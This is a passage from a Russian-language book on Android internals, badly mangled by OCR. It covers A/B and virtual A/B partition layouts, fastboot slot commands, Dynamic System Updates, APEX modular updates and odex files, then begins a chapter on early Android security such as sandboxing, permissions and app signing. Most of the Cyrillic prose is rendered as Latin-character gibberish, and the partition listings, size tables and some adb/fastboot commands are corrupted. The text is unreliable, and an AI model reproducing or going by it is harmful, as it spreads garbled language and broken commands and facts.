B cBoe BpeMs pa3paborurku Chrome OS Takke CTONKHYJHCH C 3TOH npobieMoi U co3-
JaJld HaJIeXKHYK U He3aMeTHYIO JJis MOJb30BaTeNs CUCTeMY OeCLIOBHOrO OOHOBJIEHHS
(Seamless updates). CyTb €e COCTOMT B TOM, YTO BMECTO OJIHOTO CHCTEMHOIO pasjea,
NoBepX KOTOpPOro HaknaabiBanuck Obl 0OHOBNeHus, Chrome OS ucnone3yer nBa uaeH-
THYHBIX CUCTEMHBIX pa3/iena, KaxAbld U3 KOTOPBIX COAEPAKHT CBOK KOMHUIO ONepaLuoH-
HOM CHCTEMBI.

O6Hoenenne B Chrome OS npoucxoaut cieaytomumM obpasom: koraa OC oOHapy>xHBaeT
Hajuyhe OOHOBJIEHHS, OHAa CKAauMBAET €ro B )OHOBOM peKHMe, YCTaHABJIMBAET Ha BTOPOH
(HeakTHBHBIH) CHCTEMHBIH pa3Jesl U MOMeYaeT 3TOT pa3/iel kak akTHBHbIHA. [locne nepe-



42 YACTL I. nasa 3

3arpy3ku (koTopas He 00s3aTesIbHO MPOMCXOAUT cpasy nocie obHoBneHus) 3anyck OC,
MPOUCXOMT YK€ C 3TOro paszena.

Brnaronaps Takoil cxeMe monb3oBaTeNb JaXke HE MOJO3PEBAET O MpolleneM oOHOBIe-
HHH, OH npocto nonanaetr B o6HoeneHHylo OC nocne nepe3arpy3kd MJIH BKJIFOYEHHS
HoyTOyka. [Ipu atom Chrome OS crnoco6Ha rapaHTHpoBaTh, YTO mocjie OOHOBIEHHUSA
MOJb30BaTeNb HE MOTYYHT BMECTO YCTPOHCTBA «KHPIHY»: €CJIH BO BpeMs 3arpy3kH ¢ o6-
HOBJIEHHOrO pasiesna npousoiner cOoi, chcTeMa MOMETHT TeKyIHi pasgen darom
unbootable, CHENAeT aKTHBHBIM «CTapblii», CHCTEMHBIH pa3en W 3arpy3dT 3aBeIOMO
pabouyio Bepcuio OC.

Hauunas ¢ censmoii Bepcun, Android Taioke nognepxuBaet OeclioBHble OOHOBIEHHS U
Tak Ha3biBaeMylo A/B-pa3merky pa3zmenoB. OfHAKO T. K. CHCTEMHBIX Pa3ZeNioB B YCTPOii-
ctBax ¢ Android HamHoro Gonbuie, yeM B XpomMOykax, TO M cama packjiafka pa3fesioB
nonyyaercs Gonee 3anmyTaHHOH. BOT Tonbko yacTh pasnenoB, KOTOpble MPULUIOCH OyO-
JIMPOBATh:

O boot — conepxur sapo 1 RAM-nuck, Ha ycTpoiicTBax ¢ A/B-pa3meTkoii Takxke co-
JEP>KUT KOHCOJIb BOCCTAHOBJIEHHS (recovery);

O system — cogepxut Android, cucTeMHble OMOIMOTEKH, CHCTEMHbIE MPHIIOKEHHS,
CTaHOAapTHbIE PUHITOHBI, OO0H H T. I.;

O vendor — npaiiBepbl H Bce He0OXOOHMBIE MPOCIIOHKH U1 paboThI ¢ xene3oM (Project
Treble);

O userdata — HacTpO#KH, MPHUIOKEHHUS U JaHHBIE MOJIb30BATEJIS;
O radio — npouMBKa pagMomMonyis (Moaaep;kka COTOBBIX ceTei);

O vbmeta — pa3nen Android Verified Boot 2.0 (MexaHH3M IOBEpEeHHOi 3arpy3ku), co-
JepiKallkii KOHTPOJIbHBIE CyMMBbI KOMITOHEHTOB CHCTEMBI.

Bcero nyOnupoBaHHBIX pa3fenoB MoxeT ObIThb Heckonbko aecsTkoB. Hanmpumep, Ha
OnePlus 6 ¢ A/B-pa3MeTkoii obLiee KOJTHYECTBO pa3aesioB — 72, H HECKONbKO AECATKOB
M3 HUX UCIOJB3YIOTCS TOJIBKO 3arpy34ukoM (puc. 3.2).

Ot apyrux paszaenos, HA000pPOT, CTaJlo BO3MOXKHBIM OTKa3aTkcs. YcTpoiicTBa ¢ A/B-pas-
METKOH He BKJIIOYAlOT B ce0s OTAeNbHBIH pa3fen recovery M pasfieNl cache, KOTOPBIA
MCIONb30BaJICA AJIs XpaHeHHs (aiioB oOHOBIeHHH (Tenepb OOHOBIEHHE CKayMBaeTCs
HanpsAMYIO B HEaKTHBHBIH pa3zen).

A/B-pa3MeTka Taioke MO3BOJIWJIA BIBOE COKPaTHTb pa3Mep pasfena system, YTO BKyIe
C ynajJeHHEM pa3lieNloB recovery M cache CHEJAJ0 NMEpeXol Ha HOBYIO CXEMY pa3METKH
meHee 6one3HeHHbIM. Hanpumep, Ha cMapTdoHax Pixel noreps npocTpaHcTBa cocTaBuna
BCEro HECKOJIBKO COTEH MerabaiT, kak 3To nokasaHo B Tabn. 3.1.

Tabnuua 3.1. CpasHeHue 'pasmepa pa3denos Ha cMapmehoHax Pixel

Pa3nen Pa3mep A/B Pa3mep A-only

Bootloader 50 M6 * 2 50 M6
Boot 32M6*2 32 M6
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Tabnuua 3.1 (okoHvaHue)

Pasgen Paamep A/B Paamep A-only
Recovery 0 32 M6
Cache 0 100 M6
Radio 70 M6 * 2 70 M6
Vendor 300 M6 * 2 300 M6
System 2048 M6 * 2 4096 M6
Beero | 5000 M6 4680 M6

1rwxrwxrwx 1 1970-01-01 :06:06.959999999 param -> /dev/block/sda4d
lrwxrwxrwx 1 1970-01-01 :06:06.959999999 persist -> /dev/block/sda2
Lrwxrwxrwx 1 1970-01-01 :06:06.949999999 qupfw_a -> /dev/block/sdel5
1rwxrwxrwx 1970-01-01 :06:06.939999999 qupfw_b -> /dev/block/sded3
Lrwxrwxrwx 1 1970-01-01 106:06.949999999 reservel -> /dev/block/sdal0
1rwxrwxriwx 1 1970-01-01 :06:06.949999999 reserve2 -> /dev/block/sdall
1 rwxrwxrwx 1970-01-01 :06.929999999 sec -> /dev/block/sde60
Lrwxrwxrwx 1 1970-01-01 :06:06.959999999 splash -> /dev/block/sde66
Irwxrwxrwx 1 1970-01-01 :06:06.919999999 spunvm -> /dev/block/sde65
Trwxrwxrwx 1 1970-01-01 :06:06.959999999 ssd -> /dev/block/sdal

1 rwxrwxrwx 1970-01-01 :06:06.939999999 stl -> /dev/block/sde70

1 rwxrwxrwx 1970-01-01 :06:06.959999999 storsec_a -> /dev/block/sde19
lrwxrwxrwx 1 1970-01-01 :06:06.949999999 storsec_b -> /dev/block/sded?7
1rwxrwxrwx 1970-01-01 :06:06.939999999 system_a -> /dev/block/sda13
Lrwxrwxrwx 1 1970-01-01 $06:06.959999999 system b -> /dev/block/sdal4
Lrwxrwxrwx 1 1970-01-01 :06.939999999 toolsfv -> /dev/block/sde68
1rwxrwxrwx 1970-01-01 :06.919999999 tz_a -> /dev/block/sde2

1 rwx rwxrwx 1970-01-01 :06:06.949999999 tz_b -> /dev/block/sde30
1rwxrwxrwx 1 1970-01-01 :06:06.969999999 userdata -> /dev/block/sdal17
1rwxrwxrwx 1970-01-01 3 :06.939999999 vbmeta_a -> /dev/block/sdel7
Lrwxrwxrwx 1 1970-01-01 :06:06.959999999 vbmeta_b /dev/block/sdea5
1rwxrwxrwx 1970-01-01 :06:06.939999999 vendor_a -> /dev/block/sdel6
Lrwxrwxrwx 1 1970-01-01 :06:06.399999999 vendor _b -> /dev/block/sded4
1 rwxrwxrwx 1970-01-01 :06:06.939999999 xbl_a -> /dev/block/sdb1
1rwxrwxrwx 1 1970-01-01 :06:06.959999999 xbl b -> /dev/block/sdc1

1 rwx rwxrwx 1970-01-01 :06: xbl _config a -> /dev/block/sdb2

Lrwxrwxrwx 1 1970-01-01 :06:06.949999999 xbl_config_b -> /dev/block/sdc2

Puc. 3.2. [lsoiHbie pa3gens Ha cmapTgoHe OnePlus 6

Eme onHo noctouHcTtBo A/B-pa3smerku: otcytcTBHe 3kpaHa Android is upgrading...
nocyie o6HoBneHHss. CucTeMa mpocTo 3arpyxaercs kak obblyHO. Takke A/B-pa3smerka
YNpOILAET TECTHPOBAHHE KACTOMHBIX MPOLUMBOK: TaKylO MPOLUMBKY MOXXHO MOCTaBHThb
BTOpO# CHCTEMOH H OTKaTHTbCA Ha MEPBYIO B CITy4a€, €C/IM YTO-TO MOMIET HE TaK.

B uenoM oxHH rutrocel U HUKakux MUHYcoB. [Ipo6iiema Tonbko B ToM, uto A/B-pa3merka
JI0 CHX TOp OCTAaeTCA OMLMOHAIBLHOM, a MEPELIH Ha Hee NaleKO HE BCE NMPOM3BOAMTEIH
cmapTdoHoB. Jlaxke Samsung — OOWH U3 KpYMHEHIUWX MPOU3BOIMTENEN YCTPOHCTB Ha
Android — 1o cux mop Wcronb3yeT cTapylo pasmeTky. M cBszaHo 31O, ckopee Bcero,
C HeXEMaHHWEM TPaTHThb CPEACTBA U BpeMs Ha nepenpoguiIHpoBaHHe yke paboTarolier
M OTJIQXKEHHOH cHCTEMbI OOHOBJIEHHA. '

[Tpoeeputb, noanep>xuBaer a1 cMapTpoH A/B-pa3mMeTky, MOXHO C MOMOLLUBIO BCE TOrO
xe npunoxenus Treble Check u3 mpenpiaymero pazaena Wiu Npo4YHTaB MEPEMEHHYIO
ro.build.ab update ¢ momoubto ADB:

$ adb shell getprop ro.build.ab update
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LUNAPrAnKA 1o YnPABREHWIO A/B-PA3LENAMM C MOMOLbLIO FASTBOOT
Y3HaTb, Kakow CnoT (rpynna pasnenos) TeNepb aKTUBEH:

$ fastboot getvar all | grep “current-slot”
CpaenaTtb HEaKTMBHLIA B AHHLIA MOMEHT CMOT aKTUBHbIM:
$ fastboot set_active other

CpenaTtb aKTMBHbLIM yKa3aHHbIN crnoT («a» mnmn «bx):

$ fastboot set active CJIOT

MpownTb ykasaHHbIA pa3aen:

$ fastboot flash uMa pasmena a partition.img
$ fastboot flash mma pasmena b partition.img

OuHamuueckue obHosneHUa

Project Treble oTkpbut nopory s eue oqHo# BecbMa nose3Hod ¢gyHkuuu — Dynamic
System Updates (DSU). 3toT MexaHu3M nossuicsa B Android 10 cneuuansHo i nosis-
30BaTesieil U pa3paboTYMKOB, XKENAIOLKX MPOTECTHPOBAaTh HOBYIO GeTa-Bepcuio Android,
HO HE XeJIAKOLIHMX XKEPTBOBATh I 3TOTO YCTAHOBJIEHHOM B JAHHBIH MOMEHT CHCTEMOMN M
CBOMMH JIaHHBIMH.

DSU 6a3upyerca Ha TtexHojorud Dynamic Partitions (https:/source.android.com/
devices/tech/ota/dynamic_partitions/implement), kotopas nomkHa ObITh peaH3oBaHa
BO BCEX YCTPOMCTBAX, BHIMYLIEHHBIX Ha pbIHOK ¢ Android 10 u Beiwe. [Ipu ucnons3oBa-
Hud Dynamic Partitions B cMapT¢oHe, 1Mo CyTH, €CTh TOJIBKO OJHH Cyrneppaszel, B KOTo-
POM CHCTEMa MOXET CO3/1aBaTh JHHAMHYECKHE pa3/efibl, YIaIATh HX H MEHATH pa3Mephbl
(Takoe BO3MOXHO 6naroaaps Moayimo aapa Linux dm-linear).

Bce cucTeMHBbIe pa3aesnbl B TaKOM cMapThOHe ToXXe JUHAMHUYECKHE (KpOMe 3arpy30uHbIX
pa3zenoB: boot, dtbo H vbmeta). [I03TOMy npH HEOOXOAUMOCTH CHCTEMa MOXKET CABHHYTh
HX, 4TOOBI OCBOOOAMTH MECTO IJIA AOMOJHHMTENBHBIX pa3fenoB. IMeHHO Tak nenaer
¢yHkuus DSU. OHa yMeHbLIaeT pa3Mep CHCTEMHBIX pa3ZielioB, CO3AaeT B OCBOOOIHB-
IeMcs MPOCTPAaHCTBE elle OAWH Habop CHCTEMHBIX pa3[esioB H YCTaHABJIMBAET B HEro
o6pa3z GSI. [lanee cMapTdoH mepe3arpyxaercs B 3Ty CBEXEYCTaHOBJIEHHYIO CHCTEMY, a
clieqyrollas nepe3arpy3ka NpOUCXOAUT BHOBb CO CTAaHAAPTHBIX Pa3ZIeNioB.

Yr1o6s! ycTaHoBuTh 06pa3 GSI, ucnonesys DSU, mis Hauana HeoO6xoauMo pas36iiokupo-
BaTh 3arpy34uk cMaptgoHa. 3aTeM HykxHo aktHBHpoBaTh DSU ¢ nomowsio ADB:

$ adb shell setprop persist.sys.fflag.override.settings dynamic system true

ITocne 3toro Heobxomumo ckauaTth caM oOpa3 (https://developer.android.com/
preview/gsi-release-notes), pacnakoBaTh U 3aKHHYTb €r0 Ha BHYTPEHHIOIO KapTy MaMATH
cMaptdoHa:

$ gzip -c system raw.img > system raw.gz

$ adb push system raw.gz /storage/emulated/0/Download/
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3aTeM MOXHO 3aNyCTHTb NNPOLECC YCTAHOBKH:

$ adb shell am start-activity \

-n com.android.dynsystem/com.android.dynsystem.VerificationActivity \
-a android.os.image.action.START INSTALL \

-d file:///storage/emulated/0/Download/system raw.gz \

--el KEY SYSTEM SIZE $(du -b system raw.img|cut -f1) \

--el REY USERDATA SIZE 8589934592

ITocne okOH4YaHHA YCTaHOBKH B LUITOPKE MOSBUTCA YBEAOMJIEHHE C NPEIONKEHUEM Nepe-
3arpy3utbes (puc. 3.3).
CnoxHo, He npasna au? UmeHHo no3tomy B Android |1 nossunace ¢yHKuMs noa Ha-

3aHdeM DSU Loader. OHa no3BojisieT aBTOMaTH4ECKH 3arpy3uTh M YCTaHOBHUTh 0Opa3
GSI ¢ nomouubio napsl KMMKOB (puc. 3.4).

Select DSU Package
Tue, Apr 16 @ 203 GSi+GMS ARM..
exp-RPP1.200123
7 i 016.A1-6209321
A LR

@ Dynamic System Updates ~

sing it, restart your dev..

RESTART

@) Android System

USB debugging connected
Tap to turn off USB debugging

@) Android System - Charging this device via USB -
. \
Puc. 3.3. Npeanoxexne nepe3arpy3ntb cMapThoH Puc. 3.4. DSU Loader
nocne ycraHosku GSI
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BuptyanbHas A/B-pasmeTtka

Kpome BO3MOXXHOCTH BpEMEHHO#H ycTaHOBKM oduuManbHeIX c6bopok GSI, MexaHH3M
DSU Takxe no3soini peann3oBats ewe oaHy ¢pyHkumio — Virtual A/B. Panee MbI yxxe
paccMaTpHMBaHM npeuMyllecTBa A/B-pa3MeTkH M TO, Kakue nMpobaeMbl OHa MOXET pe-
wnth. OHAKO BBHOY MOTEPH MPOCTPAHCTBA, KOTOPOE MOXET MpPHHECTH ¢ coboii A/B-
pa3MeTka Ha yCTpo#CTBax ¢ orpaHuyeHHbIM 06beMoM NAND-namsaTH, a Taioke npodiaeM
¢ murpauueit, Google He CrelINT 3aCTaBNATh NPOU3BOAUTENEH CMApTPOHOB MCMONB30-
BaThb HOBYIO pa3MeTKy.

BmecTo 3TOro oHM cosmanu BUpTyaltsHyl0 A/B-pa3smerky. PaboTaeT oHa mpuMepHO Tak
*ke, KaKk JHHaMH4Yeckre oOHOBJIEHHs, TONbKO 6e3 OTKkaTa Ha paHee YCTaHOBJIEHHYIO Mpo-
wnBky. Korna cMaptdoH o6HapyxuBaer HoBoe OTA-0GHOBIIEHHE, OH CO3[3€ET HECKOIb-
KO [IOTIOJIHMTEIIBHBIX CHCTEMHBIX pa3/iesioB A/ HOBO# MPOLIMBKH, CKaYUBAET B HUX 00-
HOBJIEHHE, a 3aTeM [e/aeT 3TH pa3zelibl aKTHBHBIMU (Kak U B ciaydae ¢ A/B-pa3smerkoii).
[locne cnemyrowieit mepesarpy3ku cMapT¢oH 3arpy’kaeTcs YK€ C HOBBIX pa3/IelioB,
M €CJIM 3arpy3Ka MpOXOIMT YCIMELIHO, TO CTapble pa3enbl yIaasloTcs, a 0CBOOOKIEHHOE
MMH MECTO OTHaeTcs pasfeny userdata. BupTyanbHas A/B-pa3merka oGs3arenbHa nis
BCEX YCTPOICTB, BBILIEALIMX Ha pbiHOK ¢ Android 11.

MoaynbHere 06HoBNEHUA

Ewe oauH war B pewieHnH npobiemsl ¢ o6HoBneHnamMu — Project Mainline. 3to BHe-
apeHHas B Android 10 noacucrema, nossonsiowas oOHOBIATE kyckn Android B 06xon
NPOM3BOIMTENS YCTPOHCTBA.

B ueHTpe HOBO# moacHcTeMBbl HaxoaUTCs NMakeTHbIH MeHemkep APEX, oueHs noxoxwii
Ha TOT, YTO Mcnosb3yercs B OucTpuOyTmBax Linux M HoBo# onepaumoHke Google
Fuchsia (puc. 3.5). Pa6oraer oH npuMepHO Tak: AOMYCTHM, [0 OYE€peIHOMY yka3y mnpa-
BUTENbCTBA B PoccuM BHOBB MPOMCXOAMT CMEHA YacoBbIX NnosicoB. KomaHaa pazpaboTum-
koB Android ¢opmMHpyeT HOBYIO BEPCHIO MaKeTa C YaCOBBIMH MOSACAMHM M BBIK/IAIbIBAET
ee B Google Play. [Tons3oBarenu nonyyarot o6HOBIEHHE — BCe cyacTIuBhI (pHc. 3.6).

zipinfo com.android.tzdata.apex

Archive: com.android.tzdata.apex

Zip file size: 1286419 bytes, number of entries: 7

-rW---- .0 fat 51 bx stor ©9-Jan-01 00:00 apex_manifest.json
-rW---- .0 fat 1249280 bx stor ©9-Jan-01 ©0:00 apex_payload.img

-rW---- .0 fat 384 bx stor ©9-Jan-01 ©0:00 resources.arsc
-rW---- .0 fat 800 bl defN ©9-Jan-01 ©0:00 AndroidManifest.xml
-PW---- .0 fat 420 bl defN ©9-Jan-01 ©0:00 META-INF/CERT.SF
“PW=-=-- .0 fat 1714 bl defN ©9-Jan-01 00:00 META-INF/CERT.RSA
-PW---- 2.0 fat 304 bl defN ©9-Jan-01 00:00 META-INF/MANIFEST.MF
7 files, 1252953 bytes uncompressed, 1251707 bytes compressed: ©.1%

Puc. 3.5. Cogepxumoe naketa APEX
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e

< [Oarawu Bpems

ABTOONpeaeneHne BpeMenn

24-yacosowu popmart

Mepesanyctutb

Puc. 3.6. OGHoBnEeHne 4acoBbix NOACOB Ha cmapTgoHe Samsung

TaxuM >xe 06pazoM MoryT 66T 06HOBNIEHBI 6MGIHOTEKH U Lienbie moacHcTeMsl. B AOSP
JOCTynHbl nakeTsl ¢ paHtaiiMoM ART, 6ubnnoreka kpunrorpaguveckHx anropuTMOB
Conscrypt, Habop MyJbTHMEAMHHBIX KOAEKOB, MynbTHMeaWiHbIA ¢peiimBopk, DNS-
pe3oneep, uurepderic Documents Ul, Permission Controller, ExtServices, naHHble uaco-
Beix moscoB, ANGLE (mpocnoiika ans tpaHcnsauud BeizoBoB OpenGL ES B OpenGL,
Direct3D 9/11, Desktop GL u Vulkan) u Captive Portal Login. B Android 11 k HumM no-
6aBunucey cnenyrowue naketsl: Tethering, NNAPI, Cell Broadcast Receiver, adbd,
Internet Key Exchange, Media Provider, statsd, WiFi u SDK extension (API HoBBIX Bep-
cuii Android nns crapeix Bepcuit). B Android 12 oOHOBnsieMbIMH CTanu BUpPTyalbHas
MawnHa Dalvik/ART u Moayns nepekoaupoBaHus Buaeo. B Android 13 o6HoBnseMbiMu
cranu crekd Bluetooth u Ultra Wideband, a Taike koMnoHeHT BbiGopa ¢oTorpaduii
PhotoPicker u 6ubnnorekn OpenJDK 11.

B Tteopun B naker APEX M0oXHO ynakoBaTh NMpaKTH4€CKH J1t000i KOMMOHEHT CHCTEMBI,
M 1M0/1b30BaTeNIM CMOTYT OOHOBHTb €ro HE3aBUCHMO OT MPOM3BOAHTENS CMapTOHa.

HHurepecHo, yro APEX He npou3BoauT 0OHOBNIEHHE «Ha XKHBYIO», KOTa CTapblii KOMIO-
HEHT 3aMeHseTcs Ha HoBbIH. Paznen /system B Android HemocTyneH Ans 3amucH, Mo3ToMy
APEX ucnons3yer Tprok ¢ MOHTHpoBaHHeM. Bce oGHoBnsemble ¢aiinbl BHyTpH nakera
APEX Haxopnstcs B obpaze ¢aiinosoii cuctemsl Ext4. Korna nponcxoauT «ycTaHOBKa»
nakeTra, CHCTeMa MOHTHpPYeT 3TOT o0Opa3 moBepx pa3fena /system B pexume bind.
B pesynbrate ¢aiinbl nakera kak Obl 3aMeHAIOT opuUrMHanbHble ¢aiinel Android, xoTs
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apexd : Found /system/apex/com.android.tzdata.apex

apexd : Trying to activate /system/apex/com.android.tzdata.apex
apexd : Creating mount point: /apex/com.android.tzdata@l

apexd : Loopback dévice created: /dev/block/loop®

apexd : AVB footer verification successful.

apexd : /system/apex/com.android.tzdata.apex: public key matches.

I apexd ¢ Successfully mounted package

/system/apex/com android.tzdata.apex on /apex/com.android.tzdata@l
V apexd : Creating bind-mount for /apex/com.android.tzdata for
/apex/com.android.tzdata@l

V apexd : Creating mountpoint /apex/com.android.tzdata

V apexd : Bind-mounting /apex/com.android.tzdata@l to
/apex/com.android.tzdata

Puc. 3.7. Npouecc «ycraHoeku» naketa APEX

B PE&IBHOCTH BCE OCTaeTcs Ha cBOMX MecTax (puc.3.7). Takoi e Tprok HCnoib3yeT
Magisk nns ycraHoBkn Moaudukauuii Android 6e3 n3ameHeHHs pazaena /system.

Tprok ¢ coxpaHeHWeM NPOCTPAHCTBA

BHuMaTenbHO npounTaB pasnen «A/B-pa3MeTkay, yMTaTeNlb MOT 3aMETHTh, YTO 3KOHO-
MM MPOCTPAHCTBa MpPH TaKoi pa3MeTKe B OCHOBHOM JOCTHIA€TCA 33 CUET COKpALUEHHA
pa3Mepa paszena system B 1Ba paza. M neno 3mech BoBce He B TOM, 4TO npH A/B-pas-
MeTKe MCroNb3yeTcs Kakas-To creluanu3upoBaHHas cbopka Android, a B oTkase OT
«IHLIHUXY ¢aiinos.

B KkiaccuyeckoM BapHaHTe pa3METKH CHCTEMHBIH pasen coaepxHT B cebe He TOJbKO
caMy onepalMOHHYIO CHCTEMY, HO M Tak HasbiBaeMble aiiibl odex. OHM MpeNCTaBNAIOT
coboii onTumusnpoBaHHble (npomnyueHHble Yyepe3 AOT-komnunaTop) Bepcun dex-daii-
JIOB, KOTOpbIE, B CBOIO OYEPE/lb, COAEPHAT KO MPHIOHKEHH.

®daiinel odex Mo3BoOJAOT COKpPAaTHUTb BpEMA CTApTa MPHIIOKEHHA H MOBBICUTH €ro rNMpous-
BOAHUTENBbHOCTb. OHHU MOryT ObITb CO3/1aHbI TPEMA MYTAMH.

O npeMHCTAUIHPOBaHbl Ha YCTPOMCTBO (B KJIJaCCHYECKOM BapHaHTE Pa3METKH — B pas-
Jel system);

O creHepypoBaHbl JUHAMHUYECKH BO BPEMS HCMOJIb30BaHHMSA MPHIOKEHHA MM MPOCTOA
YCTPOWCTBa;

O 3arpyxeHsl U3 Google Play BMecTe ¢ caMUM NPHIIOKEHHEM.

OtcytcTBHe QaiinoB odex MOXET cepbe3HO MUCMOPTHUTH MOJI30OBATENIO BrEYaTIEHHE OT
nepBoro 3amnycka cMapT¢oHa (BpeMs 3arpy3ky MOXET COCTABHTb HECKOJIbKO MHHYT BMeE-
CTO [IECATKOB CEKYH]), MO3TOMY OHH Heob6XxoauMbl cpasy. C apyroi cTOpOHbI, OHH 3aHH-
MaIOT MPHUMEPHO MOJIOBMHY BCEro MPOCTPaHCTBAa pa3fieyia system, a €CJIM 3TOT paszaen
npoay61HpoBaTh, TO MOTEPS MPOCTPAHCTBA CTAHET CYLLECTBEHHOM.

HmeHHO mo3ToMy pa3paboTyMKH OTKa3alMCh OT MPeTyCTaHOBKH ¢ainoB odex B akTHB-
HbI CHCTEMHBIii pa3Jiesl, a BMECTO 3TOr0 pa3MECTHJIM MX B HEAKTUBHOM CHCTEMHOM pa3-
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Jefe BMECTO KOMHH OMNEpaLHOHHOH cucTeMbl. Tak 4TO >KM3HEHHBIH LMK cMapTdoHa
¢ A/B-pa3MeTKoii BBITJIAAUT TaK:

1. Ilpu BeIMycke c KOHBeHepa pa3zen system a — AKTHBHBIH, COOEPXKHT (aiiibl onepa-
LIMOHHOM CHCTEMBI, HO pa3fiell system b — HEAKTHBHbIH, cOAepxHT (aiinbl odex;

2. Bo Bpems nepBoro 3amycka cMcTeMa konupyet ¢aiinsl odex B pasaen userdata;

3. Ilocne nomyueHus neporo OTA-0OHOBNEHHS CHCTEMa 3amMMCBHIBaE€T OOHOBIEHHE
B pasfenl system b, Aajnee 3amycKaeT mpolecc reHepauuu ¢ainoB odex (MHCTpyMEHT
dex2oat) mns HoBoit Bepcun OC (OHH Taloke 3anmHChIBalOTCA B userdata) v mocne ero
3aBepIIEHHs NMOMEYAET pa3feln system b (Bce pa3aensl cioTa B) kak akTHBHBII;

4. Tlocne nepe3arpy3ku cMapTGOH 3arpy>kaeT OMNEpaLHOHHYIO CHCTEMY C paszena
system b, HCMIOJIb3Ysl CTEHEPHPOBaHHBIE Ha TPEThEM 3Tane daiinsl odex.



FrMABA 4

BpoHa Android

[ToHATb cMbICT M Ha3HAauYeHHE 3alLMTHBIX MeXxaHH3MoB Android npoue Bcero B petpo-
CMEeKTHBE. A HMEHHO — M3Y4HB, Kak Obla peanu3oBaHa 3allMTa (MM €€ OTCYTCTBHE)
B nepBbiX Bepcusax OC M kak U 3aueM OHa MEHAJIach BIOC/IEACTBHH.

Hrak, Android 1.0 — nnardopma, BeinyuweHHas oceHbto 2008 rona Bmecte co cMapTdo-
HoM HTC Dream (T-Mobile G1). be3onacHocTh obecreunBanach NATbIO KIHOUEBBIMH
MoACHCTEMaMH:

1.

PIN-koa 3kpaHa GJOKHpPOBKH AJs 3aLUMTBI OT HECAHKLIMOHHPOBAHHOIO (HU3MYECKOro
JocTyna.

[lecouHuup! (M301MpOBaHHAs cpefa HUCMOJHEHHs) Ul MpHiokeHUH. PeannzoBaHbl
NyTEeM 3anycka KakAoro MpHJI0XKEHHS OT MMEHH CO3JAAHHOrO CreLHanbHO AJS HEro
nonb3oBarens Linux. [IpunoxeHne MMeeT NosHbIA KOHTposib Haj dalnamu cBoei
MECOYHHLbI (/data/data/mma.nakera), HO HE MOXET MOJYYHUTb JOCTYM K CHCTEMHBIM
daitnam u daiinam apyrux npunoxeHuit. EqMHcTBeHHBIH cnocod MOKHHYTh MECOYHH-
Ly — MOJY4YHTh Mpasa root.

Kaxxnoe npunoxxeHue 06s3aHO ykas3bIBaTh CMHCOK HYXHBIX Ui cBoed paboTel nmosn-
HOMouYHii B MaHupecTe. [TOTHOMOYHS MO3BONAIOT HUCMOIb30BATh T€ WM HHBIE CHC-
temHble API (noctyn k kamepe, MUKkpodoHyY, ceTH U T. 1.). X0Ts cobMtoAeHHE MOJTHO-
MOUHI KOHTPOJMPYETCS Ha HECKONSKHX YPOBHSX, BKJItouas sapo Linux, sBHO 3anpa-
IIWBATh UX Y MOJIb30BATENs HE HY)XXHO; MPHJIOKEHHE aBTOMATHYECKH MOJy4aeT Bce
nepeylcieHHble B MaHH(eCTe MOJHOMOYHS, U MOJb30BaTENO OCTaeTcs MO0 ycTaHo-
BUTb MPHJIOXEHHE, MPENOCTaBUB €MY BCE MOJHOMOYHSA, THOO HE ycTaHaBJIMBATh €ro
BOBCE.

KoHTpone moctyna Ha ocHOBe MOJIHOMOYMH HE pacrpocTpaHseTcs Ha KapThl MaMATH H
USB-nakonutenu. Ouu ucnonesytor daitnosyro cucremy FAT, kortopas He mo3sonser
Ha3HauuTh NpaBa Aoctyna k dainam. Jltoboe nNpunoKeHHe MOXKET YUTAThb COAEPHHMOE
BCeH KapThl MaMATH.

1.

[Tpuno>xeHus 10mKHbI ObITH MOAMUCAHBI KIIOUOM pa3paborunka. Bo BpeMs ycraHoB-
KH HOBOH BEPCHH MPHIOKEHHUS CUCTEMA CBepseT LUHPOBbIE MOAMUCH CTapOiH U HOBOM
BEpCHH MpPHUIIOKEHHS W HE JOMYCKAeT YCTAaHOBKY, €CJIM OHHM He cOBHadaloT. Takoi
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MOJAXOJ MO3BOJISET 3aLUIMTHThH MOJIb30BaTeNsd OT (HMLIMHIAa M KpaXKH HaHHbIX, KOrjaa
TPOSIH MPHUKHBIBAETCS JIETHTHMHBIM TMPHIIOKEHHEM H TOCIie «OOHOBIIEHHUS» MOJIyHaeT
JOCTyT K (ainaMm OpUrHHaIbHOTO MPUIIOXKEHHS.

2. S3bik Java ¥ BHpTyanbHas MauldHa OO€CrevHBalOT 3aUIMTY OT MHOTHX THIIOB aTak,
nepeq KOTOPbIMH YS3BMMBI MPUJIOXKEHUS Ha HeOe30macHbIX fA3bIKax, Takux kak C u
C++. IlepenonHenue Oydepa UK MOBTOPHOE HCMOJIB30BAHHE OCBODOXKIEHHOH MaMsi-
TH B Java HEBO3MOXKHO B NIPHHLIMIIE.

B TO >e BpeMs 3HauMTeNbHAsA YacTh OMEPALIMOHHON CHCTEMBI, BKJIFOUasi CHCTEMHBIE Cep-
BHCBI, BHPTYaJbHYIO MAalIWHYy, MYJbTUMEIUHHblE OWUOMHOTEKH, CHCTEMY PpEHIEpHHra
rpadukH, a TaKkKe BCe CETEBbIE MOJCHCTEMBI, HalMCaHa Ha Tex caMbIX Hebe3omacHblx C U
C++ u pabotaetr ¢ nmpaBaMH root. YSI3BHUMOCTb B OJHOM M3 3THX KOMNOHEHTOB MOXET
OBITH MCIONIB30BaHA U1 NOJy4YeHHUs NoiaHoro koHTposs Hag OC wnu BeinmoaHeHUs DoS-
araku. HTC Dream 6b11 «B3noMaHn» Gnaromaps ToMy, 4To cepBHc telnet, mpeaycTaHoB-
JIeHHbIH Ha cMapTdoH, paboTa ¢ npaBamMH root.

Ecnu e roBOpUTh O CTaHAAPTHBIX MPHIOKEHHAX, TO OHH XOTS W HE UMENH MNpaB root
1 paboTtany noj 3auUIMTOH BHPTYyaJbHOH MalIWHBI B COOCTBEHHOH MECOYHMLE, TaK WIJIH
HHaye UMEJH LIHPOKHE BO3MOXKHOCTH, CBOHCTBEHHBIE JECKTOIMHBIM OMEPALIHOHHBIM CHC-
TemaMm. [IpH HanU4YHUK HY>KHBIX MpaB CTOPOHHEE MPHJIOXKEHHE MOTJIO ClIeNIaTh OYEHb MHO-
roe: NpoyYUTaTh CMUCKH SMS M 3BOHKOB, MPOUYUTATH JItOObIE (aiibl Ha KapTe MamsTH,
MOJIYYHTDb CITHCOK YCTaHOBJIEHHBIX MPUJIOKEHHH, paboTaTh B ()OHE HEOrpaHHYEHHOE KO-
JIMYECTBO BPEMEHH, BBIBOAWTH rpaduky MOBEpX OKOH APYTHX MPHIOXKEHHH, MoayyaThb
